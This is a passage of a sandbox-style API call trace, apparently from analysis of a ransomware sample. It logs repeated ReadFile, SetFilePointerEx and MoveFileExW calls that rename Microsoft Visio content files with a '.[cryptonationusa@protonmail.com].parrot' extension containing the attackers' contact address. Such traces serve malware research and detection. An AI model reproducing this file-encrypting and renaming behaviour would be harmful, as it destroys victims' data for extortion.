nNumberOfBytesToRead=0x1b400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b400, lpOverlapped=0x0) returned 1 [0219.482] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FREEQP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\freeqp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FREEQP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\freeqp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.497] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.497] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.499] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.499] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a600, lpOverlapped=0x0) returned 1 [0219.505] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FREEQP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\freeqp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FREEQP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\freeqp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.520] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.520] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.622] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.622] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x31600, lpOverlapped=0x0) returned 1 [0219.646] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FURN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\furn_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FURN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\furn_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.658] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.658] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.659] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x31200, lpOverlapped=0x0) returned 1 [0219.711] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FURN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\furn_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FURN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\furn_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.723] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.723] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.724] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.724] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5400, lpOverlapped=0x0) returned 1 [0219.728] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANESA_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ganesa_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANESA_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ganesa_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.736] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.736] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.753] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.753] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5200, lpOverlapped=0x0) returned 1 [0219.754] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANESA_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ganesa_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANESA_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ganesa_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.762] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.762] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.764] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.764] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e800, lpOverlapped=0x0) returned 1 [0219.767] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANTT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gantt_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANTT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gantt_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.782] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.783] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.802] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.803] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb200, lpOverlapped=0x0) returned 1 [0219.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.807] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANTT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gantt_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANTT_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gantt_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.814] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.814] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.833] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.833] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d400, lpOverlapped=0x0) returned 1 [0219.836] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANTT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gantt_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANTT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gantt_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.852] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.852] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.853] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.854] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb400, lpOverlapped=0x0) returned 1 [0219.856] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANTT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gantt_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GANTT_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gantt_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.864] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.864] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.865] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.866] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12a00, lpOverlapped=0x0) returned 1 [0219.867] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GARDEN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\garden_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GARDEN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\garden_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.023] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.023] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.024] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.024] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12400, lpOverlapped=0x0) returned 1 [0220.026] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GARDEN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\garden_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GARDEN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\garden_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.037] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.037] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.040] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.040] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x22800, lpOverlapped=0x0) returned 1 [0220.044] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.048] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gdt_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gdt_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.143] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.143] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.145] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.145] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21a00, lpOverlapped=0x0) returned 1 [0220.157] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gdt_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gdt_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.166] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.167] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.171] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.171] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20a00, lpOverlapped=0x0) returned 1 [0220.179] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hompln_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hompln_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.187] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.187] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.227] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.227] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20800, lpOverlapped=0x0) returned 1 [0220.236] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hompln_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hompln_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.245] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.246] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.247] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.247] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2b600, lpOverlapped=0x0) returned 1 [0220.256] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacce_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacce_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.317] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.317] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.319] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.319] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x29800, lpOverlapped=0x0) returned 1 [0220.334] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacce_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacce_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0220.346] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0220.346] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0220.348] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, 